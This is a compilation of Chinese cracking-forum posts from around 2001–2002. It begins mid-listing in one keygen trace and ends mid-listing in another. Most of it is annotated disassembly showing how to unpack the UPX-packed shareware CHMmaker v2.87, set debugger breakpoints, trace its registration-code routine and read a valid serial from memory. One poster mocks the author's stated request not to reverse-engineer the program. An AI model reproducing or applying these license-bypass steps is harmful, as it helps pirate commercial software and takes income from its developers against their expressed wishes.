:00453E01 8B55E8 mov edx, dword ptr [ebp-18] <-真的C31 C32 C33 C34 BPX6
:00453E04 58 pop eax <-假的C31 C32 C33 C34
:00453E05 E8EA01FBFF call 00403FF4
:00453E0A 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453D3C(C)
|
:00453E0D 84DB test bl, bl
:00453E0F 7460 je 00453E71 <-去死
:00453E11 8D45EC lea eax, dword ptr [ebp-14]
:00453E14 50 push eax
:00453E15 B902000000 mov ecx, 00000002
:00453E1A BA0F000000 mov edx, 0000000F
:00453E1F 8B45FC mov eax, dword ptr [ebp-04]
:00453E22 E8C102FBFF call 004040E8
:00453E27 8B45EC mov eax, dword ptr [ebp-14]
:00453E2A 50 push eax
:00453E2B 8B45F8 mov eax, dword ptr [ebp-08]
:00453E2E 8A00 mov al, byte ptr [eax]
:00453E30 E82FECFAFF call 00402A64
:00453E35 8BD0 mov edx, eax
:00453E37 8D45E4 lea eax, dword ptr [ebp-1C]
:00453E3A 885001 mov byte ptr [eax+01], dl
:00453E3D C60001 mov byte ptr [eax], 01
:00453E40 8D55E4 lea edx, dword ptr [ebp-1C]
:00453E43 8D45E0 lea eax, dword ptr [ebp-20]
:00453E46 E809EDFAFF call 00402B54

* Possible StringData Ref from Data Obj ->"-"
|
:00453E4B BA683F4500 mov edx, 00453F68
:00453E50 8D45E0 lea eax, dword ptr [ebp-20]
:00453E53 B102 mov cl, 02
:00453E55 E8CAECFAFF call 00402B24
:00453E5A 8D55E0 lea edx, dword ptr [ebp-20]
:00453E5D 8D45E8 lea eax, dword ptr [ebp-18]
:00453E60 E82300FBFF call 00403E88 <-生成C35 NAME的第一个字母
:00453E65 8B55E8 mov edx, dword ptr [ebp-18] <-真的C35 BPX7
:00453E68 58 pop eax <-假的C35
:00453E69 E88601FBFF call 00403FF4
:00453E6E 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453E0F(C)
|
:00453E71 84DB test bl, bl
:00453E73 747B je 00453EF0 <-去死
:00453E75 8D45EC lea eax, dword ptr [ebp-14]
:00453E78 50 push eax
:00453E79 B902000000 mov ecx, 00000002
:00453E7E BA01000000 mov edx, 00000001
:00453E83 8B45F8 mov eax, dword ptr [ebp-08]
:00453E86 E85D02FBFF call 004040E8
:00453E8B 8B45EC mov eax, dword ptr [ebp-14]
:00453E8E 8D55F0 lea edx, dword ptr [ebp-10]
:00453E91 E8EEFAFFFF call 00453984
:00453E96 8D45EC lea eax, dword ptr [ebp-14]
:00453E99 50 push eax
:00453E9A B909000000 mov ecx, 00000009
:00453E9F BA11000000 mov edx, 00000011
:00453EA4 8B45FC mov eax, dword ptr [ebp-04]
:00453EA7 E83C02FBFF call 004040E8
:00453EAC 8B45EC mov eax, dword ptr [ebp-14]
:00453EAF 50 push eax
:00453EB0 8D4DE8 lea ecx, dword ptr [ebp-18]
:00453EB3 8B45F0 mov eax, dword ptr [ebp-10]
:00453EB6 0FB600 movzx eax, byte ptr [eax]
:00453EB9 BA02000000 mov edx, 00000002
:00453EBE E8354EFBFF call 00408CF8
:00453EC3 8D45E8 lea eax, dword ptr [ebp-18]
:00453EC6 50 push eax
:00453EC7 8D4DD8 lea ecx, dword ptr [ebp-28]
:00453ECA 8B45F0 mov eax, dword ptr [ebp-10]
:00453ECD 0FB64001 movzx eax, byte ptr [eax+01]
:00453ED1 BA02000000 mov edx, 00000002
:00453ED6 E81D4EFBFF call 00408CF8
:00453EDB 8B55D8 mov edx, dword ptr [ebp-28]
:00453EDE 58 pop eax
:00453EDF E80800FBFF call 00403EEC <-生成C41 C42 C43 C44
:00453EE4 8B55E8 mov edx, dword ptr [ebp-18] <-真的C41 C42 C43 C44 BPX8
:00453EE7 58 pop eax <-假的C41 C42 C43 C44
:00453EE8 E80701FBFF call 00403FF4
:00453EED 0F94C3 sete bl

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453E73(C)
|
:00453EF0 8B45F4 mov eax, dword ptr [ebp-0C]
:00453EF3 8818 mov byte ptr [eax], bl
:00453EF5 33C0 xor eax, eax
:00453EF7 5A pop edx
:00453EF8 59 pop ecx
:00453EF9 59 pop ecx
:00453EFA 648910 mov dword ptr fs:[eax], edx
:00453EFD 682D3F4500 push 00453F2D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00453F2B(U)
|
:00453F02 8D45D8 lea eax, dword ptr [ebp-28]
:00453F05 E85EFDFAFF call 00403C68
:00453F0A 8D45E8 lea eax, dword ptr [ebp-18]
:00453F0D BA03000000 mov edx, 00000003
:00453F12 E875FDFAFF call 00403C8C
:00453F17 8D45F8 lea eax, dword ptr [ebp-08]

* Possible StringData Ref from Data Obj ->"TRGRegisterInfo"
|
:00453F1A 8B1554394500 mov edx, dword ptr [00453954]
:00453F20 E8A706FBFF call 004045CC
:00453F25 C3 ret

:00453F26 E9FDF7FAFF jmp 00403728
:00453F2B EBD5 jmp 00453F02
:00453F2D 5F pop edi
:00453F2E 5E pop esi
:00453F2F 5B pop ebx
:00453F30 8BE5 mov esp, ebp
:00453F32 5D pop ebp
:00453F33 C3 ret

① 至此我们已经得到了除C23 C24的全部注册码,现在我们将得到C23 C24的注册码:
重新运行程序设断点 00453C9E
D EDX
就是正确的 C23 C24
C23 C24 由后面的注册码生成,因此要等到后面的注册码确定后才可以确定
ABCDEFGHIJKLMN BM1-2486B-3157A-7878
BM1-E086B-3157A-7878 <-C21 C22
BM1-E003B-3157A-7878 <-C23 C24
BM1-E003B-EDDAA-7878 <-C31 C32
BM1-E0C5B-EDDAA-7878 <-C23 C24
BM1-E0C5B-EDDAA-AF71 <-C41 C42 C43 C44
BM1-E0D2B-EDDAA-AF71 <-C23 C24
至此注册成功

QWERTYUIOPASDFG BM1-1234W-4567Q-7878
BM1-E134W-4567Q-7878
BM1-E1F7W-4567Q-7878
BM1-E1F7W-EABDQ-7878
BM1-E1A1W-EABDQ-7878 <-出问题了 中断在C21 C22处不走了？只好BD * ？？？
BM1-E1A1W-EABDQ-BF64
BM1-E18DW-EABDQ-BF64


CHMmaker v2.87

 标 题:gnball兄，你要的东西，请进。不知到你满意波！ (17千字)
发信人:10011001
时 间:2001-12-31 19:46:42
详细信息:
耶書制造 CHMmaker v2.87
[耶書制造 CHMmaker]是开寅软件工作室开发的 eLSE 系列软件的作品之一, eLSE 的意思是平常可能没想到,其实确是很需要，它不会是很大,也不会很全, 但会很实用。欢迎大家对本软件或 eLSE 的后续提供创意并发表意见, 我们一定会尽力做到最好！
[耶書制造 CHMmaker]是一款共享软件, 在它带给你方便的同时, 希望你能考虑注册这款软件, 这会给作者的工作提供支持, 使作者能保障软件的正常升级。
同时作者不希望看到有人对本软件作任何反向工程, 不希望看到有人提供本软件的注册机/码下载。希自觉遵守。
homepage:http://elsesoft.home.sohu.com
上面这一大段是从软件的说明中抄来的，呵呵，2.88已经出来很久了，我弄个2.87的开刀，开寅软件工作室不会找我算帐吧，现在又修改了一个什么法的，我好怕啊！
最近一段时间遇到几个软件，都不好对付，当你输入注册码的时候，不管它错误还是正确，都没有相应的提示，KAO，烦。还好有大家的帮助，给我提了不少建议，在大家的帮助下，已经成功攻破两个此类软件。一个是Flash Player，论坛当中有人跟过，post的出来了，不过是爆破，我不喜欢。它判断是否注册时，耍了个花招，害我费了不少宝贵的时间。不过今天不说它，今天说的是CHMmaker，好了废话少说，切入正题。先用fi看了看，是upx v1.20的壳，很好脱嘛，用upx自己就可以脱了。运行脱壳后的程序，注册，没有反映，没有任何提示。下bpx hmemcpy跟了几遍，没有收获，只能怪自己水平太菜，还是先用w32asm看看吧。呵呵，我没有学过汇编，只好瞎蒙了。找到"软件已过了评估期限, 请注册."这个字符串，双击它来到这里：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048F168(C)
|
:0048F1B5 83F81F cmp eax, 0000001F
:0048F1B8 0F82A1000000 jb 0048F25F
:0048F1BE 6A30 push 00000030
:0048F1C0 680CF54800 push 0048F50C

* Possible StringData Ref from Code Obj ->"软件已过了评估期限, 请注册."
|
:0048F1C5 6868F54800 push 0048F568 //双击后光标停在这里！
:0048F1CA 8B45FC mov eax, dword ptr [ebp-04]
:0048F1CD E84A8DFAFF call 00437F1C
:0048F1D2 50 push eax

上面有个跳，不知到跳过去是干什么的，没看懂（因该是根本看不懂，对我来说是天书 :)），我门直接把光标移到|:0048F168(C)处，在它上面双击鼠标右键来到调用这段代码的地方：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048F0BA(C)
|
:0048F161 8BC3 mov eax, ebx
:0048F163 2BC6 sub eax, esi
:0048F165 83F81F cmp eax, 0000001F
:0048F168 734B jnb 0048F1B5 //就是这里跳到上面那段代码的
:0048F16A 40 inc eax
:0048F16B 8BF0 mov esi, eax
:0048F16D 8BC6 mov eax, esi
:0048F16F 33D2 xor edx, edx
:0048F171 52 push edx
:0048F172 50 push eax
:0048F173 8D45E8 lea eax, dword ptr [ebp-18]
:0048F176 E8B599F7FF call 00408B30

还是个调用，继续顺藤摸瓜，找它的调用地方：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048F021(C)
|
:0048F08F 33D2 xor edx, edx
:0048F091 55 push ebp

* Possible StringData Ref from Code Obj ->"?A?岴扈GI?岴鋴U噼訧?婨梃碖?嬝婨滂狵?;豻"
->"岴旌岝H"
|
:0048F092 686CF24800 push 0048F26C
:0048F097 64FF32 push dword ptr fs:[edx]
:0048F09A 648922 mov dword ptr fs:[edx], esp
:0048F09D 8B45E8 mov eax, dword ptr [ebp-18]
:0048F0A0 E8FF9AF7FF call 00408BA4
:0048F0A5 8BF0 mov esi, eax
:0048F0A7 8B45E4 mov eax, dword ptr [ebp-1C]
:0048F0AA E8F59AF7FF call 00408BA4
:0048F0AF 8BD3 mov edx, ebx
:0048F0B1 2BD0 sub edx, eax
:0048F0B3 8955D4 mov dword ptr [ebp-2C], edx
:0048F0B6 837DD400 cmp dword ptr [ebp-2C], 00000000
:0048F0BA 0F8DA1000000 jnl 0048F161 //就是这里调用上面的那段代码，看看下面，不跳也出错，所以向上找根源
:0048F0C0 6A30 push 00000030
:0048F0C2 680CF54800 push 0048F50C

* Possible StringData Ref from Code Obj ->"用户调整了系统时间! 注册后才能继续使用."
|
:0048F0C7 6814F54800 push 0048F514
:0048F0CC 8B45FC mov eax, dword ptr [ebp-04]
:0048F0CF E8488EFAFF call 00437F1C
:0048F0D4 50 push eax

继续找它的调用点，来到如下的核心地带，该换用trw上场了，开始我们的动态跟踪：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048EB45(C)
|
:0048EB40 6A00 push 00000000
:0048EB42 6A00 push 00000000
:0048EB44 49 dec ecx
:0048EB45 75F9 jne 0048EB40
:0048EB47 53 push ebx
:0048EB48 56 push esi
:0048EB49 57 push edi
:0048EB4A 8955F8 mov dword ptr [ebp-08], edx
:0048EB4D 8945FC mov dword ptr [ebp-04], eax
:0048EB50 8B45F8 mov eax, dword ptr [ebp-08]
:0048EB53 E89C54F7FF call 00403FF4
:0048EB58 33C0 xor eax, eax
:0048EB5A 55 push ebp

* Possible StringData Ref from Code Obj ->"锽�覧_[迕"
|
:0048EB5B 6820F44800 push 0048F420
:0048EB60 64FF30 push dword ptr fs:[eax]
:0048EB63 648920 mov dword ptr fs:[eax], esp
:0048EB66 E805FDFFFF call 0048E870
:0048EB6B C645F701 mov [ebp-09], 01
:0048EB6F 8D45DC lea eax, dword ptr [ebp-24]

* Possible StringData Ref from Code Obj ->"Q2lA5rM6zI7sK8eO9aL2wP3q3pZ4mW5V5vT6gG7y9iC2bR"
->"3hF4uB8cY9fH2tN3kS6oX7nE8jDxU4dJ"
|
:0048EB72 BA3CF44800 mov edx, 0048F43C
:0048EB77 E8DC50F7FF call 00403C58
:0048EB7C 8D45F0 lea eax, dword ptr [ebp-10]
:0048EB7F BA94F44800 mov edx, 0048F494
:0048EB84 E8CF50F7FF call 00403C58
:0048EB89 8D45F0 lea eax, dword ptr [ebp-10]
:0048EB8C E8FFFEFFFF call 0048EA90
:0048EB91 8BD8 mov ebx, eax
:0048EB93 8BC3 mov eax, ebx
:0048EB95 E8928AF7FF call 0040762C
:0048EB9A 0FB7C0 movzx eax, ax
:0048EB9D 8BF0 mov esi, eax
:0048EB9F C1E602 shl esi, 02
:0048EBA2 0FB7C3 movzx eax, bx
:0048EBA5 8BF8 mov edi, eax
:0048EBA7 03FF add edi, edi
:0048EBA9 8D3C7F lea edi, dword ptr [edi+2*edi]
:0048EBAC 81C70D260000 add edi, 0000260D
:0048EBB2 8D95C8FEFFFF lea edx, dword ptr [ebp+FFFFFEC8]
:0048EBB8 8BC7 mov eax, edi
:0048EBBA E8419FF7FF call 00408B00
:0048EBBF FFB5C8FEFFFF push dword ptr [ebp+FFFFFEC8]//算得机器码的第一部分
:0048EBC5 8BC3 mov eax, ebx
:0048EBC7 33D2 xor edx, edx
:0048EBC9 52 push edx
:0048EBCA 50 push eax
:0048EBCB 8D85C4FEFFFF lea eax, dword ptr [ebp+FFFFFEC4]
:0048EBD1 E85A9FF7FF call 00408B30
:0048EBD6 FFB5C4FEFFFF push dword ptr [ebp+FFFFFEC4]//算得机器码的第二部分
:0048EBDC 8D95C0FEFFFF lea edx, dword ptr [ebp+FFFFFEC0]
:0048EBE2 8BC6 mov eax, esi
:0048EBE4 E8179FF7FF call 00408B00
:0048EBE9 FFB5C0FEFFFF push dword ptr [ebp+FFFFFEC0]//算得机器码的第三部分
:0048EBEF 8D45F0 lea eax, dword ptr [ebp-10]
:0048EBF2 BA03000000 mov edx, 00000003
:0048EBF7 E80453F7FF call 00403F00
:0048EBFC C745D401000000 mov [ebp-2C], 00000001
:0048EC03 8D95B8FEFFFF lea edx, dword ptr [ebp+FFFFFEB8]
:0048EC09 8BC7 mov eax, edi
:0048EC0B E8F09EF7FF call 00408B00
:0048EC10 FFB5B8FEFFFF push dword ptr [ebp+FFFFFEB8]
:0048EC16 68A0F44800 push 0048F4A0
:0048EC1B 8BC3 mov eax, ebx
:0048EC1D 33D2 xor edx, edx
:0048EC1F 52 push edx
:0048EC20 50 push eax
:0048EC21 8D85B4FEFFFF lea eax, dword ptr [ebp+FFFFFEB4]
:0048EC27 E8049FF7FF call 00408B30
:0048EC2C FFB5B4FEFFFF push dword ptr [ebp+FFFFFEB4]
:0048EC32 68A0F44800 push 0048F4A0
:0048EC37 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0048EC3D 8BC6 mov eax, esi
:0048EC3F E8BC9EF7FF call 00408B00
:0048EC44 FFB5B0FEFFFF push dword ptr [ebp+FFFFFEB0]
:0048EC4A 8D85BCFEFFFF lea eax, dword ptr [ebp+FFFFFEBC]
:0048EC50 BA05000000 mov edx, 00000005
:0048EC55 E8A652F7FF call 00403F00
:0048EC5A 8B95BCFEFFFF mov edx, dword ptr [ebp+FFFFFEBC]//至此，程序已经算得完整的机器码,且放到了edx中
:0048EC60 A1E81F4900 mov eax, dword ptr [00491FE8]
:0048EC65 8B00 mov eax, dword ptr [eax]
:0048EC67 8B8098060000 mov eax, dword ptr [eax+00000698]
:0048EC6D E8CA31FAFF call 00431E3C //此call的作用是将机器码中的“-”去掉
:0048EC72 8B45F0 mov eax, dword ptr [ebp-10]//将去掉“-”的机器码送到eax
:0048EC75 E8C651F7FF call 00403E40//在这里取得去掉“-”后机器码的长度
:0048EC7A 83F804 cmp eax, 00000004
:0048EC7D 0F8C4C010000 jl 0048EDCF
:0048EC83 8945D8 mov dword ptr [ebp-28], eax//将机器码长度放到ebp-28
上面这段代码的作用我是根据动态跟踪的结果猜的，因为我看不动汇编！！如果猜错了，还望指点一下小弟！谢谢！

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048EDC9(C)
|
:0048EC86 8D85ACFEFFFF lea eax, dword ptr [ebp+FFFFFEAC]//这里向下开始计算注册码！！
:0048EC8C 50 push eax
:0048EC8D B901000000 mov ecx, 00000001
:0048EC92 8B55D8 mov edx, dword ptr [ebp-28]
:0048EC95 8B45F0 mov eax, dword ptr [ebp-10]
:0048EC98 E8AB53F7FF call 00404048
:0048EC9D FFB5ACFEFFFF push dword ptr [ebp+FFFFFEAC]
:0048ECA3 8D85A8FEFFFF lea eax, dword ptr [ebp+FFFFFEA8]
:0048ECA9 50 push eax
:0048ECAA 8B55D8 mov edx, dword ptr [ebp-28]
:0048ECAD 4A dec edx
:0048ECAE B901000000 mov ecx, 00000001
:0048ECB3 8B45F0 mov eax, dword ptr [ebp-10]
:0048ECB6 E88D53F7FF call 00404048
:0048ECBB FFB5A8FEFFFF push dword ptr [ebp+FFFFFEA8]
:0048ECC1 8D85A4FEFFFF lea eax, dword ptr [ebp+FFFFFEA4]
:0048ECC7 50 push eax
:0048ECC8 8B55D8 mov edx, dword ptr [ebp-28]
:0048ECCB 83EA02 sub edx, 00000002
:0048ECCE B901000000 mov ecx, 00000001
:0048ECD3 8B45F0 mov eax, dword ptr [ebp-10]
:0048ECD6 E86D53F7FF call 00404048
:0048ECDB FFB5A4FEFFFF push dword ptr [ebp+FFFFFEA4]
:0048ECE1 8D85A0FEFFFF lea eax, dword ptr [ebp+FFFFFEA0]
:0048ECE7 50 push eax
:0048ECE8 8B55D8 mov edx, dword ptr [ebp-28]
:0048ECEB 83EA03 sub edx, 00000003
:0048ECEE B901000000 mov ecx, 00000001
:0048ECF3 8B45F0 mov eax, dword ptr [ebp-10]
:0048ECF6 E84D53F7FF call 00404048
:0048ECFB FFB5A0FEFFFF push dword ptr [ebp+FFFFFEA0]
:0048ED01 8D45EC lea eax, dword ptr [ebp-14]
:0048ED04 BA04000000 mov edx, 00000004
:0048ED09 E8F251F7FF call 00403F00
:0048ED0E 33C0 xor eax, eax
:0048ED10 55 push ebp

* Possible StringData Ref from Code Obj ->"镕�坯?
|
:0048ED11 6831ED4800 push 0048ED31
:0048ED16 64FF30 push dword ptr fs:[eax]
:0048ED19 648920 mov dword ptr fs:[eax], esp
:0048ED1C 8B45EC mov eax, dword ptr [ebp-14]
:0048ED1F E8809EF7FF call 00408BA4
:0048ED24 8945D4 mov dword ptr [ebp-2C], eax
:0048ED27 33C0 xor eax, eax
:0048ED29 5A pop edx
:0048ED2A 59 pop ecx
:0048ED2B 59 pop ecx
:0048ED2C 648910 mov dword ptr fs:[eax], edx
:0048ED2F EB14 jmp 0048ED45
:0048ED31 E96E46F7FF jmp 004033A4
:0048ED36 E8C549F7FF call 00403700
:0048ED3B E982000000 jmp 0048EDC2
:0048ED40 E8BB49F7FF call 00403700

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED2F(U)
|
:0048ED45 8B45D4 mov eax, dword ptr [ebp-2C]
:0048ED48 B94F000000 mov ecx, 0000004F
:0048ED4D 99 cdq
:0048ED4E F7F9 idiv ecx
:0048ED50 8955D4 mov dword ptr [ebp-2C], edx
:0048ED53 837DD400 cmp dword ptr [ebp-2C], 00000000
:0048ED57 7506 jne 0048ED5F
:0048ED59 8B45D8 mov eax, dword ptr [ebp-28]
:0048ED5C 8945D4 mov dword ptr [ebp-2C], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED57(C)
|
:0048ED5F 8D45E8 lea eax, dword ptr [ebp-18]
:0048ED62 50 push eax
:0048ED63 B901000000 mov ecx, 00000001
:0048ED68 8B55D4 mov edx, dword ptr [ebp-2C]
:0048ED6B 8B45DC mov eax, dword ptr [ebp-24]
:0048ED6E E8D552F7FF call 00404048
:0048ED73 8B45E4 mov eax, dword ptr [ebp-1C]
:0048ED76 E8C550F7FF call 00403E40
:0048ED7B 8BC8 mov ecx, eax
:0048ED7D 85C9 test ecx, ecx
:0048ED7F 750D jne 0048ED8E
:0048ED81 8D45E4 lea eax, dword ptr [ebp-1C]
:0048ED84 8B55E8 mov edx, dword ptr [ebp-18]
:0048ED87 E8CC4EF7FF call 00403C58
:0048ED8C EB34 jmp 0048EDC2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED7F(C)
|
:0048ED8E 8D4101 lea eax, dword ptr [ecx+01]
:0048ED91 B905000000 mov ecx, 00000005
:0048ED96 99 cdq
:0048ED97 F7F9 idiv ecx
:0048ED99 85D2 test edx, edx
:0048ED9B 751A jne 0048EDB7
:0048ED9D FF75E4 push [ebp-1C]
:0048EDA0 68A0F44800 push 0048F4A0
:0048EDA5 FF75E8 push [ebp-18]
:0048EDA8 8D45E4 lea eax, dword ptr [ebp-1C]
:0048EDAB BA03000000 mov edx, 00000003
:0048EDB0 E84B51F7FF call 00403F00
:0048EDB5 EB0B jmp 0048EDC2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048ED9B(C)
|
:0048EDB7 8D45E4 lea eax, dword ptr [ebp-1C]
:0048EDBA 8B55E8 mov edx, dword ptr [ebp-18]
:0048EDBD E88650F7FF call 00403E48

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0048ED3B(U), :0048ED8C(U), :0048EDB5(U)
|
:0048EDC2 FF4DD8 dec [ebp-28]
:0048EDC5 837DD803 cmp dword ptr [ebp-28], 00000003
:0048EDC9 0F85B7FEFFFF jne 0048EC86//这里与上面的代码构成一个循环，计算注册码！！我已经是没有一点耐心了，受不了了，再说我也看不懂。你有兴趣的话，研究一下吧，知道了别忘了告诉小弟我啊！ :)

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048EC7D(C)
|
:0048EDCF 8D45E0 lea eax, dword ptr [ebp-20]
:0048EDD2 8B55E4 mov edx, dword ptr [ebp-1C]//过了这一行，下d edx就得到了你想要的东西了
:0048EDD5 E87E4EF7FF call 00403C58
:0048EDDA 8D45D0 lea eax, dword ptr [ebp-30]
:0048EDDD 50 push eax

* Possible StringData Ref from Code Obj ->"Software\Micros


CHMMaker（耶書制造）v2.87

 标 题:破解心得之CHMMaker（耶書制造）篇 (11千字)
发信人:时空幻影
时 间:2002-1-27 22:43:25
详细信息:
破解心得之CHMMaker（耶書制造）篇

作者：时空幻影
时间：2002年1月20日
使用工具：W32DASM汉化版黄金版、TRW2000 v1.22、UPX v1.20W
软件名称：CHMMaker（耶書制造）
软件版本：v2.87中文版

这个软件使用了UPX加壳，所以我们用UPX脱壳。然后用TRW2000载入它，随便输入几个数字后，按CTRL+N激活TRW2000，
设置断点BPX HMEMCPY，按F5回到程序，点击按钮“注册”，会被拦下，然后按F10经过几个DELPHI或者C++ BUILDER程序的
几个固定的RET后会来到如下的地方：
* Possible StringData Ref from Code Obj ->"Q2lA5rM6zI7sK8eO9aL2wP3q3pZ4mW5V5vT6gG7y9iC2bR"
->"3hF4uB8cY9fH2tN3kS6oX7nE8jDxU4dJ" <--注意这个字符串，设它为s
|
:0048EB72 BA3CF44800 mov edx, 0048F43C
:0048EB77 E8DC50F7FF call 00403C58
:0048EB7C 8D45F0 lea eax, dword ptr [ebp-10]
:0048EB7F BA94F44800 mov edx, 0048F494
:0048EB84 E8CF50F7FF call 00403C58
:0048EB89 8D45F0 lea eax, dword ptr [ebp-10]
:0048EB8C E8FFFEFFFF call 0048EA90
:0048EB91 8BD8 mov ebx, eax
:0048EB93 8BC3 mov eax, ebx
:0048EB95 E8928AF7FF call 0040762C
:0048EB9A 0FB7C0 movzx eax, ax
:0048EB9D 8BF0 mov esi, eax
:0048EB9F C1E602 shl esi, 02
:0048EBA2 0FB7C3 movzx eax, bx
:0048EBA5 8BF8 mov edi, eax
:0048EBA7 03FF add edi, edi
:0048EBA9 8D3C7F lea edi, dword ptr [edi+2*edi]
:0048EBAC 81C70D260000 add edi, 0000260D
:0048EBB2 8D95C8FEFFFF lea edx, dword ptr [ebp+FFFFFEC8]
:0048EBB8 8BC7 mov eax, edi
:0048EBBA E8419FF7FF call 00408B00
:0048EBBF FFB5C8FEFFFF push dword ptr [ebp+FFFFFEC8]
:0048EBC5 8BC3 mov eax, ebx
:0048EBC7 33D2 xor edx, edx
:0048EBC9 52 push edx
:0048EBCA 50 push eax
:0048EBCB 8D85C4FEFFFF lea eax, dword ptr [ebp+FFFFFEC4]
:0048EBD1 E85A9FF7FF call 00408B30
:0048EBD6 FFB5C4FEFFFF push dword ptr [ebp+FFFFFEC4]
:0048EBDC 8D95C0FEFFFF lea edx, dword ptr [ebp+FFFFFEC0]
:0048EBE2 8BC6 mov eax, esi
:0048EBE4 E8179FF7FF call 00408B00
:0048EBE9 FFB5C0FEFFFF push dword ptr [ebp+FFFFFEC0]
:0048EBEF 8D45F0 lea eax, dword ptr [ebp-10]
:0048EBF2 BA03000000 mov edx, 00000003
:0048EBF7 E80453F7FF call 00403F00
:0048EBFC C745D401000000 mov [ebp-2C], 00000001
:0048EC03 8D95B8FEFFFF lea edx, dword ptr [ebp+FFFFFEB8]
:0048EC09 8BC7 mov eax, edi
:0048EC0B E8F09EF7FF call 00408B00
:0048EC10 FFB5B8FEFFFF push dword ptr [ebp+FFFFFEB8]
:0048EC16 68A0F44800 push 0048F4A0
:0048EC1B 8BC3 mov eax, ebx
:0048EC1D 33D2 xor edx, edx
:0048EC1F 52 push edx
:0048EC20 50 push eax
:0048EC21 8D85B4FEFFFF lea eax, dword ptr [ebp+FFFFFEB4]
:0048EC27 E8049FF7FF call 00408B30
:0048EC2C FFB5B4FEFFFF push dword ptr [ebp+FFFFFEB4]
:0048EC32 68A0F44800 push 0048F4A0
:0048EC37 8D95B0FEFFFF lea edx, dword ptr [ebp+FFFFFEB0]
:0048EC3D 8BC6 mov eax, esi
:0048EC3F E8BC9EF7FF call 00408B00
:0048EC44 FFB5B0FEFFFF push dword ptr [ebp+FFFFFEB0]
:0048EC4A 8D85BCFEFFFF lea eax, dword ptr [ebp+FFFFFEBC]
:0048EC50 BA05000000 mov edx, 00000005
:0048EC55 E8A652F7FF call 00403F00
:0048EC5A 8B95BCFEFFFF mov edx, dword ptr [ebp+FFFFFEBC]
:0048EC60 A1E81F4900 mov eax, dword ptr [00491FE8]
:0048EC65 8B00 mov eax, dword ptr [eax]
:0048EC67 8B8098060000 mov eax, dword ptr [eax+00000698]
:0048EC6D E8CA31FAFF call 00431E3C
:0048EC72 8B45F0 mov eax, dword ptr [ebp-10] <--会停在这里
:0048EC75 E8C651F7FF call 00403E40 <--取出去掉字符"-"的机器码字符串的长度放到eax中
:0048EC7A 83F804 cmp eax, 00000004 <--长度与4进行比较
:0048EC7D 0F8C4C010000 jl 0048EDCF <--长度小于4的话跳转，一般不会跳转
:0048EC83 8945D8 mov dword ptr [ebp-28], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0048EDC9(C)
|
:0048EC86 8D85ACFEFFFF lea eax, dword ptr [ebp+FFFFFEAC]
:0048EC8C 50 push eax
:0048EC8D B901000000 mov ecx, 00000001
:0048EC92 8B55D8 mov edx, dword ptr [ebp-28] <--edx为偏移量
:0048EC95 8B45F0 mov eax, dword ptr [ebp-10] <--eax中为存放去掉"-"的机器码字符串的首地址
:0048EC98 E8AB53F7FF call 00404048 <--取[eax+edx]中的一个字符
:0048EC9D FFB5ACFEFFFF push dword ptr [ebp+FFFFFEAC]
:0048ECA3 8D85A8FEFFFF lea eax, dword ptr [ebp+FFFFFEA8]
:0048ECA9 50 push eax
:0048ECAA 8B55D8 mov edx, dword ptr [ebp-28] <--edx为偏移量
:0048ECAD 4A dec edx
:0048ECAE B901000000 mov ecx, 00000001
:0048ECB3 8B45F0 mov eax, dword ptr [ebp-10] <--eax中为存放去掉"-"的机器码字符串
:0048ECB6 E88D53F7FF call 00404048 <--取[eax+edx]中的一个字符
:0048ECBB FFB5A8FEFFFF push dword ptr [ebp+FFFFFEA8]
:0048ECC1 8D85A4FEFFFF lea eax, dword ptr [ebp+FFFFFEA4]
:0048ECC7 50 push eax
:0048ECC8 8B55D8 mov edx, dword ptr [ebp-28] <--edx为偏移量
:0048ECCB 83EA02 sub edx, 00000002
:0048ECCE B901000000 mov ecx, 00000001
:0048ECD3 8B45F0 mov eax, dword ptr [ebp-10] <--eax中为存放去掉"-"的机器码字符串
:0048ECD6 E86D53F7FF call 00404048 <--取[eax+edx]中的一个字符
:0048ECDB FFB5A4FEFFFF push dword ptr [ebp+FFFFFEA4]
:0048ECE1 8D85A0FEFFFF lea eax, dword ptr [ebp+FFFFFEA0]
:0048ECE7 50 push eax
:0048ECE8 8B55D8 mov edx, dword ptr [ebp-28] <--edx为偏移量
:0048ECEB 83EA03 sub edx, 00000003
:0048ECEE B901000000 mov ecx, 00000001
:0048ECF3 8B45F0 mov eax, dword ptr [ebp-10] <--eax中为存放去掉"-"的机器码字符串
:0048ECF6 E84D53F7FF call 00404048 <--取[eax+edx]中的一个字符
:0048ECFB FFB5A0FEFFFF push dword ptr [ebp+FFFFFEA0]
:0048ED01 8D45EC lea eax, dword ptr [ebp-14]
:0048ED04 BA04000000 mov edx, 00000004
:0048ED09 E8F251F7FF call 00403F00 <--把上面4次取的4个字符连起来
:0048ED0E 33C0 xor eax, eax
:0048ED10 55 push ebp
:0048ED11 6831ED4800 push 0048ED31
:0048ED16 64FF30 push dword ptr fs:[eax]
:0048ED19 648920 mov dword ptr fs:[eax], esp
:0048ED1C 8B45EC mov eax, dword ptr [ebp-14]
:0048ED1F E8809EF7FF call 00408BA4 <--把上面连起来的字符串转化成十六进制数
:0048ED24 8945D4 mov dword ptr [ebp-2C], eax <--这里如果用指令? eax看的话，就可看到eax中的值为上面字符串的数字表示
:0048ED27 33C0 xor eax, eax
:0048ED29 5A pop edx
:0048ED2A 59 pop ecx
:0048ED2B 59 pop ecx
:0048ED2C 648910 mov dword ptr fs:[eax], edx
:0048ED2F EB14 jmp 0048ED45 <--跳转
:0048ED31 E96E46F7FF jmp 004033A4
:0048ED36 E8C549F7FF call 00403700
